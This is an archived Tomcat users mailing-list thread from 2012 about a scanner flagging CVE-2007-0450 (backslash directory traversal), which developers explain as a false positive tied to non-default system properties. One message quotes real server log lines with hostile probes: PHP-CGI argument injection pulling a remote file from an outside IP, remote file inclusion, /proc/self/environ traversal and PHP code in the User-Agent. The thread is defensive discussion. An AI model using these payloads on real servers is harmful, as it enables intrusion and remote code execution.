You are viewing a plain text version of this content. The canonical link for it is here.
Posted to users@tomcat.apache.org by Aditi Sinha <ad...@gmail.com> on 2012/11/21 14:40:35 UTC
Need help to understand CVE-2007-0450
Hi,
We have a web server hosted on Tomcat 7.0.22.
There are two connectors defined server.xml listening at port 8080 and 8443.
During vulnerability scan a 3rd party tool reported CVE-2007-0450 “Apache
Tomcat Directory Traversal Attack” on both ports 8080 and 8443.
The tool was able to access the Tomcat manager application with the
following URL :
http://localhost:8080/scripts/\../manager/html
As per Tomcat security documents the issue is not present in Tomcat 7.
Is there anything wrong in our web application deployment?
Any help appreciated.
Thanks & Regards,
Aditi
Re: Need help to understand CVE-2007-0450
Posted by Pid * <pi...@pidster.com>.
On 21 Nov 2012, at 14:59, "André Warnier" <aw...@ice-sa.com> wrote:
> Caldarale, Charles R wrote:
>>> From: Aditi Sinha [mailto:adisinha0423@gmail.com] Subject: Need help to understand CVE-2007-0450
>>> We have a web server hosted on Tomcat 7.0.22.
>>> The tool was able to access the Tomcat manager application with the
>>> following URL :
What scanning tool, exactly?
How can I reproduce this?
>>> http://localhost:8080/scripts/\../manager/html
>>> As per Tomcat security documents the issue is not present in Tomcat 7.
>>> Is there anything wrong in our web application deployment?
>> As documented here:
>> http://tomcat.apache.org/security-6.html#Fixed_in_Apache_Tomcat_6.0.10
>> there are two Java system properties that control behavior of Tomcat with regard to such URLs. Make sure neither is enabled.
>
> Just barging in here with my own question : is the above really to be considered as a Tomcat failure ?
Such automated scanning tools are notorious for false positives.
p
> The call is made directly to Tomcat from localhost (obviously), which is allowed for the Manager application.
> The URL, as stated, seems valid to me. It will just result in "/scripts/../manager/" being equivalent to "/manager/", and the resulting URL is correct and allowed.
>
> I fail to see the problem (but I may be missing something).
>
> The special properties mentioned above address an issue where there is a front-end Apache server proxying to Tomcat, and which would have only "/scripts/" proxied to Tomcat.
> This would allow the call to be proxied (because it matches "/scripts", and then resolved by Tomcat to a non-proxied (but valid) context.
> But I think that the case above is different, as there is apparently no proxy involved.
>
> (And anyway, if this was ever an issue, in my opinion it would have more to do with a proxy module weakness - or a lax configuration - than with Tomcat per se).
>
>
>
>
> ---------------------------------------------------------------------
> To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
> For additional commands, e-mail: users-help@tomcat.apache.org
>
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by André Warnier <aw...@ice-sa.com>.
Caldarale, Charles R wrote:
>> From: Aditi Sinha [mailto:adisinha0423@gmail.com]
>> Subject: Need help to understand CVE-2007-0450
>
>> We have a web server hosted on Tomcat 7.0.22.
>
>> The tool was able to access the Tomcat manager application with the
>> following URL :
>> http://localhost:8080/scripts/\../manager/html
>
>> As per Tomcat security documents the issue is not present in Tomcat 7.
>
>> Is there anything wrong in our web application deployment?
>
> As documented here:
> http://tomcat.apache.org/security-6.html#Fixed_in_Apache_Tomcat_6.0.10
>
> there are two Java system properties that control behavior of Tomcat with regard to such URLs. Make sure neither is enabled.
>
Just barging in here with my own question : is the above really to be considered as a
Tomcat failure ?
The call is made directly to Tomcat from localhost (obviously), which is allowed for the
Manager application.
The URL, as stated, seems valid to me. It will just result in "/scripts/../manager/"
being equivalent to "/manager/", and the resulting URL is correct and allowed.
I fail to see the problem (but I may be missing something).
The special properties mentioned above address an issue where there is a front-end Apache
server proxying to Tomcat, and which would have only "/scripts/" proxied to Tomcat.
This would allow the call to be proxied (because it matches "/scripts", and then resolved
by Tomcat to a non-proxied (but valid) context.
But I think that the case above is different, as there is apparently no proxy involved.
(And anyway, if this was ever an issue, in my opinion it would have more to do with a
proxy module weakness - or a lax configuration - than with Tomcat per se).
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
RE: Need help to understand CVE-2007-0450
Posted by "Caldarale, Charles R" <Ch...@unisys.com>.
> From: Aditi Sinha [mailto:adisinha0423@gmail.com]
> Subject: Need help to understand CVE-2007-0450
> We have a web server hosted on Tomcat 7.0.22.
> The tool was able to access the Tomcat manager application with the
> following URL :
> http://localhost:8080/scripts/\../manager/html
> As per Tomcat security documents the issue is not present in Tomcat 7.
> Is there anything wrong in our web application deployment?
As documented here:
http://tomcat.apache.org/security-6.html#Fixed_in_Apache_Tomcat_6.0.10
there are two Java system properties that control behavior of Tomcat with regard to such URLs. Make sure neither is enabled.
- Chuck
THIS COMMUNICATION MAY CONTAIN CONFIDENTIAL AND/OR OTHERWISE PROPRIETARY MATERIAL and is thus for use only by the intended recipient. If you received this in error, please contact the sender and delete the e-mail and its attachments from all computers.
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Pid * <pi...@pidster.com>.
On 22 Nov 2012, at 07:34, Aditi Sinha <ad...@gmail.com> wrote:
> Hi Mark, Chuck,
>
> Thanks for the explanation.
>
> On checking found that, below system properties are set to true by our
> application for a requirement.
> org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH:
> true
>
> org.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH: true
>
> Is there any other workaround/solution which can help us make our
> application secure w.r.t this vulnerability?
Maybe I'm missing something, but I'm not sure I've seen evidence that
there is a vulnerability and that this isn't a false positive.
p
>
>
> Thanks & Regards,
> Aditi
>
> On Wed, Nov 21, 2012 at 8:00 PM, Mark Thomas <ma...@apache.org> wrote:
>
>> On 21/11/2012 13:40, Aditi Sinha wrote:
>>> Hi,
>>>
>>> We have a web server hosted on Tomcat 7.0.22.
>>>
>>> There are two connectors defined server.xml listening at port 8080 and
>> 8443.
>>> During vulnerability scan a 3rd party tool reported CVE-2007-0450
>> “Apache
>>> Tomcat Directory Traversal Attack” on both ports 8080 and 8443.
>>> The tool was able to access the Tomcat manager application with the
>>> following URL :
>>> http://localhost:8080/scripts/\../manager/html
>>>
>>> As per Tomcat security documents the issue is not present in Tomcat 7.
>>
>> First of all, a clean Tomcat 7.0.22 install will return "400 Bad
>> Request" if you try accessing that install.
>>
>> The problem is that "\" is not a valid character in a URL so Tomcat -
>> rightly - complains.
>>
>> It is possible to get Tomcat to treat "\" as "/" by setting the
>> following system property:
>> -Dorg.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH=true
>>
>> There is a reason that property is in the security section and that the
>> default is "false". Setting it to "true" can have unexpected
>> consequences (CVE-2010-0450) when Tomcat is used in conjunction with
>> reverse proxies.
>>
>> If a value of "true" is used then Tomcat will retreat the URL above as
>> http://localhost:8080/scripts//../manager/html
>>
>> which will be normalized to:
>> http://localhost:8080/manager/html
>>
>> Given you appear to be accessing Tomcat directly, even with
>> ALLOW_BACKSLASH=true this is not a directory traversal. It is a
>> non-normalized URL that is being normalized which is perfectly normal.
>>
>> Mark
>>
>>
>> ---------------------------------------------------------------------
>> To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
>> For additional commands, e-mail: users-help@tomcat.apache.org
>>
>>
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Aditi Sinha <ad...@gmail.com>.
Test it yourself. Are you able to access a directory or file below the
level of the webapps directory, simply by using a specially crafted request?
*With our testing could not access any files/directory outside webapps
folder.*
Thanks & Regards,
Aditi
Re: Need help to understand CVE-2007-0450
Posted by Pid <pi...@pidster.com>.
On 22/11/2012 09:52, Aditi Sinha wrote:
> Hi Andre,
>
> Agree with your points.
>
> Just wanted to know more about “Directory Traversal Attack".
> Can it lead to access of directories outside Tomcat/webapps folder also
For the last time, this is in all probability a false positive due to a
crappy implementation of a vulnerability scanner.
Test it yourself. Are you able to access a directory or file below the
level of the webapps directory, simply by using a specially crafted request?
If the answer is "no", you have your answer.
p
> or can it just try to access the applications within Tomcat/webapps
> folder only?
>
>
> Thanks & Regards,
> Aditi
>
> ---------------------------------------------------------------------
> To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
> For additional commands, e-mail: users-help@tomcat.apache.org
>
--
[key:62590808]
Re: Need help to understand CVE-2007-0450
Posted by Aditi Sinha <ad...@gmail.com>.
>> *Whether someone can get access to any file/directory outside the tomcat
>> webapps folder using "Style 1 (using ..\ equivalent in the URL itself)
>> Directory traversal attack (scoped to Tomcat) on Windows".*
Have you tried this?
How does Tomcat respond?
I tried to access some files outside the webapps folder but got 404 error.
Thanks & Regards,
Aditi
Re: Need help to understand CVE-2007-0450
Posted by Mark Thomas <ma...@apache.org>.
On 22/11/2012 15:11, David Kerber wrote:
> On 11/22/2012 8:35 AM, Aditi Sinha wrote:
>> Thanks Guys.
>>
>> As per my reading of the suggested material and looking at the logs that
>> Andre has shared, I think there are two ways in which the directory
>> traversal attack could be made.
>>
>> 1. By having ..\ equivalents in the URL itself
>> 2. By having ..\ equivalents in the request parameters.
>>
>> In my case, I am not worried about the request parameters since my
>> application doesn't handle any such path related queries and all request
>> parameters are signed by our client app.
>>
>> So, It would really help me narrow down on a course of action ff you guys
>> can tell me -
>>
>> *Whether someone can get access to any file/directory outside the tomcat
>> webapps folder using "Style 1 (using ..\ equivalent in the URL itself)
>> Directory traversal attack (scoped to Tomcat) on Windows".*
Have you tried this?
How does Tomcat respond?
> You could certainly block that by ensuring that the user tomcat is
> running under does not have permissions to anything outside the
> directory where your webapp is deployed.
That would provide defence in depth (e.g. in case of poor configuration)
but is not required to prevent directory traversal.
Mark
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by David Kerber <dc...@verizon.net>.
On 11/22/2012 8:35 AM, Aditi Sinha wrote:
> Thanks Guys.
>
> As per my reading of the suggested material and looking at the logs that
> Andre has shared, I think there are two ways in which the directory
> traversal attack could be made.
>
> 1. By having ..\ equivalents in the URL itself
> 2. By having ..\ equivalents in the request parameters.
>
> In my case, I am not worried about the request parameters since my
> application doesn't handle any such path related queries and all request
> parameters are signed by our client app.
>
> So, It would really help me narrow down on a course of action ff you guys
> can tell me -
>
> *Whether someone can get access to any file/directory outside the tomcat
> webapps folder using "Style 1 (using ..\ equivalent in the URL itself)
> Directory traversal attack (scoped to Tomcat) on Windows".*
>
You could certainly block that by ensuring that the user tomcat is
running under does not have permissions to anything outside the
directory where your webapp is deployed.
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Aditi Sinha <ad...@gmail.com>.
For example, if inside of your webapps directory, you had symbolic links
leading elsewhere (but I don't think that under Windows this works).
*Inside webapps directory, we do not have any symbolic links.*
In your normal setup, is there any front-end system in front of Tomcat, or
do clients
always access Tomcat directly ?
*There is no front end for the application. Clients access Tomcat directly.
*
Thanks & Regards,
Aditi
Re: Need help to understand CVE-2007-0450
Posted by André Warnier <aw...@ice-sa.com>.
Aditi Sinha wrote:
> Thanks Guys.
>
> As per my reading of the suggested material and looking at the logs that
> Andre has shared, I think there are two ways in which the directory
> traversal attack could be made.
>
> 1. By having ..\ equivalents in the URL itself
> 2. By having ..\ equivalents in the request parameters.
>
> In my case, I am not worried about the request parameters since my
> application doesn't handle any such path related queries and all request
> parameters are signed by our client app.
>
> So, It would really help me narrow down on a course of action ff you guys
> can tell me -
>
> *Whether someone can get access to any file/directory outside the tomcat
> webapps folder using "Style 1 (using ..\ equivalent in the URL itself)
> Directory traversal attack (scoped to Tomcat) on Windows".*
>
In principle, they can not, unless you specifically take steps to make life easy for them.
For example, if inside of your webapps directory, you had symbolic links leading elsewhere
(but I don't think that under Windows this works).
In your normal setup, is there any front-end system in front of Tomcat, or do clients
always access Tomcat directly ?
(Because if there is a front-end, it is relatively easy to make configuration mistakes at
the front-end level which allow the front-end to bypass Tomcat security and access
resources that the client should not be able to access. That was one of the points of
CVE-2007-0450).
Note also that the fact that you do not have explicit filename or filepath parameters
passed as arguments or query strings in your application, does not mean that you do not
have security isues of this general nature. *Everything* that a user types in a form of
your application and that is later used by your application to do anything at the OS or
filesystem level, even after mangling or combination with other information in your
application, is suspect by definition. For example, such inputs could easily contain
characters such as ">", "|", "&" etc.. which may trigger a special effect in some entirely
different area of your application.
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Aditi Sinha <ad...@gmail.com>.
Thanks Guys.
As per my reading of the suggested material and looking at the logs that
Andre has shared, I think there are two ways in which the directory
traversal attack could be made.
1. By having ..\ equivalents in the URL itself
2. By having ..\ equivalents in the request parameters.
In my case, I am not worried about the request parameters since my
application doesn't handle any such path related queries and all request
parameters are signed by our client app.
So, It would really help me narrow down on a course of action ff you guys
can tell me -
*Whether someone can get access to any file/directory outside the tomcat
webapps folder using "Style 1 (using ..\ equivalent in the URL itself)
Directory traversal attack (scoped to Tomcat) on Windows".*
Re: Need help to understand CVE-2007-0450
Posted by André Warnier <aw...@ice-sa.com>.
Athanasios Kostopoulos wrote:
> On 22/11/12 10:52, Aditi Sinha wrote:
>> Hi Andre,
>>
>> Agree with your points.
>>
>> Just wanted to know more about “Directory Traversal Attack".
>> Can it lead to access of directories outside Tomcat/webapps folder also
>> or can it just try to access the applications within Tomcat/webapps
>> folder only?
>>
>>
>> Thanks & Regards,
>> Aditi
>>
>> ---------------------------------------------------------------------
>> To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
>> For additional commands, e-mail: users-help@tomcat.apache.org
>>
> Hi everyone,
> OWASP maintains some nice resources about path traversal attacks. A nice
> starting point is the following:
> https://www.owasp.org/index.php/Path_Traversal
>
And for anyone that would think that this is not a genuine concern, here are a few recent
samples from a logfile of one of our servers (among many, many similar ones) :
173.45.104.226 - - [17/Nov/2012:15:55:27 +0100] "GET
/?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron
HTTP/1.1" 200 45 "-" "<?php echo \"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:27 +0100] "GET
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron
HTTP/1.1" 404 359 "-" "<?php echo \"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F178.63.8.214%2Fecho.txt
HTTP/1.1" 200 45 "-" "<?php echo \"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F178.63.8.214%2Fecho.txt
HTTP/1.1" 404 359 "-" "<?php echo \"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/?mod=http%3A%2F%2F178.63.8.214%2Fecho.txt HTTP/1.1" 200 45 "-" "<?php echo
\"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/?page=http%3A%2F%2F178.63.8.214%2Fecho.txt HTTP/1.1" 200 45 "-" "<?php echo
\"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/index.php?page=http%3A%2F%2F178.63.8.214%2Fecho.txt HTTP/1.1" 404 359 "-" "<?php echo
\"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/?page=../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 45 "-" "<?php echo
\"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:28 +0100] "GET
/index.php?page=../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 359 "-" "<?php
echo \"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:29 +0100] "GET
/?mod=../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 45 "-" "<?php echo
\"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:29 +0100] "GET
/index.php?mod=../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 359 "-" "<?php
echo \"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
173.45.104.226 - - [17/Nov/2012:15:55:29 +0100] "GET
/main.php?x=../../../../../../../proc/self/environ%00 HTTP/1.1" 404 358 "-" "<?php echo
\"dsfer34w5rl\".\"sidfosdedfpsd\";?>"
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Athanasios Kostopoulos <at...@neofonie.de>.
On 22/11/12 10:52, Aditi Sinha wrote:
> Hi Andre,
>
> Agree with your points.
>
> Just wanted to know more about “Directory Traversal Attack".
> Can it lead to access of directories outside Tomcat/webapps folder also
> or can it just try to access the applications within Tomcat/webapps
> folder only?
>
>
> Thanks & Regards,
> Aditi
>
> ---------------------------------------------------------------------
> To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
> For additional commands, e-mail: users-help@tomcat.apache.org
>
Hi everyone,
OWASP maintains some nice resources about path traversal attacks. A nice
starting point is the following:
https://www.owasp.org/index.php/Path_Traversal
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Aditi Sinha <ad...@gmail.com>.
Hi Andre,
Agree with your points.
Just wanted to know more about “Directory Traversal Attack".
Can it lead to access of directories outside Tomcat/webapps folder also
or can it just try to access the applications within Tomcat/webapps
folder only?
Thanks & Regards,
Aditi
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by André Warnier <aw...@ice-sa.com>.
If you top-post (which is strongly discouraged on this list), it makes it very difficult
to answer your questions and still leave the whole thing understandable for other people
who may try to follow this thread.
Aditi Sinha wrote:
> Hi Mark, Chuck,
>
>
> Thanks for the explanation.
>
> On checking found that, below system properties are set to true by our
> application for a requirement.
>
>
> org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH:
> true
>
>
> org.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH: true
>
>
>
> Is there any other workaround/solution which can help us make our
> application secure w.r.t this vulnerability?
>
>
As Mark tried to point out,
in a standard default Tomcat configuration, this issue would not exist, because
a) a URL with a "\" in it is an invalid URL, and it would be rejected by a Tomcat
configured normally. It is only because you explicitly tell Tomcat to act in a
non-standard way, that the issue occurs with this URL.
So the issue is of your own doing. If your application has such a requirement, then it is
your application that needs to be corrected, not Tomcat.
To use an analogy : if you knowingly disable the brakes of your car, and then sue the
manufacturer because you had a road accident because your car didn't stop anymore, chances
are that you will lose the lawsuit. (*)
b) without the backslash in it, "http://localhost:8080/scripts/../manager/html" is a
perfectly valid URL, which evaluates to "http://localhost:8080/manager/html", which is a
valid URL and does *not* involve "directory traversal" of any kind. So it is the program
that "detects" this so-called vulnerability which is wrong, and obviously there is nothing
that the Tomcat folks can do about this.
c) in a normal Tomcat setup, the Manager application is protected by an authentication
and access-control mechanism. So a request to "http://localhost:8080/manager/html" would
lead to a login page or other form of authentication, and would not provide unauthorised
access to the Manager app. So there is no security weakness issue involved either.
In other words : the logical course of action here would be to tell whoever is running
this program, that the warning issued by the program is bogus, and tell them that it
should be ignored. And if they are smart, they will respond that Tomcat should have
rejected this invalid URL because it has a backslash in it. And then you will have to
explain to them that your application requires Tomcat to accept these invalid URLs.
Now if you want a sneaky way to make this particular message go away, and under your own
reponsibility, you could always uninstall (or rename) the Manager application. But don't
tell anyone that I said this (and don't even think for a second that it makes the
fundamental issue go away.)
(*) Although a US tort lawyer might argue in this case that by providing these special
Java options to disable the brakes, the Tomcat developers are complicit with the users who
use them, and thus liable for a million-dollar emotional distress compensation payment.
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org
Re: Need help to understand CVE-2007-0450
Posted by Aditi Sinha <ad...@gmail.com>.
Hi Mark, Chuck,
Thanks for the explanation.
On checking found that, below system properties are set to true by our
application for a requirement.
org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH:
true
org.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH: true
Is there any other workaround/solution which can help us make our
application secure w.r.t this vulnerability?
Thanks & Regards,
Aditi
On Wed, Nov 21, 2012 at 8:00 PM, Mark Thomas <ma...@apache.org> wrote:
> On 21/11/2012 13:40, Aditi Sinha wrote:
> > Hi,
> >
> > We have a web server hosted on Tomcat 7.0.22.
> >
> > There are two connectors defined server.xml listening at port 8080 and
> 8443.
> > During vulnerability scan a 3rd party tool reported CVE-2007-0450
> “Apache
> > Tomcat Directory Traversal Attack” on both ports 8080 and 8443.
> > The tool was able to access the Tomcat manager application with the
> > following URL :
> > http://localhost:8080/scripts/\../manager/html
> >
> > As per Tomcat security documents the issue is not present in Tomcat 7.
>
> First of all, a clean Tomcat 7.0.22 install will return "400 Bad
> Request" if you try accessing that install.
>
> The problem is that "\" is not a valid character in a URL so Tomcat -
> rightly - complains.
>
> It is possible to get Tomcat to treat "\" as "/" by setting the
> following system property:
> -Dorg.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH=true
>
> There is a reason that property is in the security section and that the
> default is "false". Setting it to "true" can have unexpected
> consequences (CVE-2010-0450) when Tomcat is used in conjunction with
> reverse proxies.
>
> If a value of "true" is used then Tomcat will retreat the URL above as
> http://localhost:8080/scripts//../manager/html
>
> which will be normalized to:
> http://localhost:8080/manager/html
>
> Given you appear to be accessing Tomcat directly, even with
> ALLOW_BACKSLASH=true this is not a directory traversal. It is a
> non-normalized URL that is being normalized which is perfectly normal.
>
> Mark
>
>
> ---------------------------------------------------------------------
> To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
> For additional commands, e-mail: users-help@tomcat.apache.org
>
>
Re: Need help to understand CVE-2007-0450
Posted by Mark Thomas <ma...@apache.org>.
On 21/11/2012 13:40, Aditi Sinha wrote:
> Hi,
>
> We have a web server hosted on Tomcat 7.0.22.
>
> There are two connectors defined server.xml listening at port 8080 and 8443.
> During vulnerability scan a 3rd party tool reported CVE-2007-0450 “Apache
> Tomcat Directory Traversal Attack” on both ports 8080 and 8443.
> The tool was able to access the Tomcat manager application with the
> following URL :
> http://localhost:8080/scripts/\../manager/html
>
> As per Tomcat security documents the issue is not present in Tomcat 7.
First of all, a clean Tomcat 7.0.22 install will return "400 Bad
Request" if you try accessing that install.
The problem is that "\" is not a valid character in a URL so Tomcat -
rightly - complains.
It is possible to get Tomcat to treat "\" as "/" by setting the
following system property:
-Dorg.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH=true
There is a reason that property is in the security section and that the
default is "false". Setting it to "true" can have unexpected
consequences (CVE-2010-0450) when Tomcat is used in conjunction with
reverse proxies.
If a value of "true" is used then Tomcat will retreat the URL above as
http://localhost:8080/scripts//../manager/html
which will be normalized to:
http://localhost:8080/manager/html
Given you appear to be accessing Tomcat directly, even with
ALLOW_BACKSLASH=true this is not a directory traversal. It is a
non-normalized URL that is being normalized which is perfectly normal.
Mark
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@tomcat.apache.org
For additional commands, e-mail: users-help@tomcat.apache.org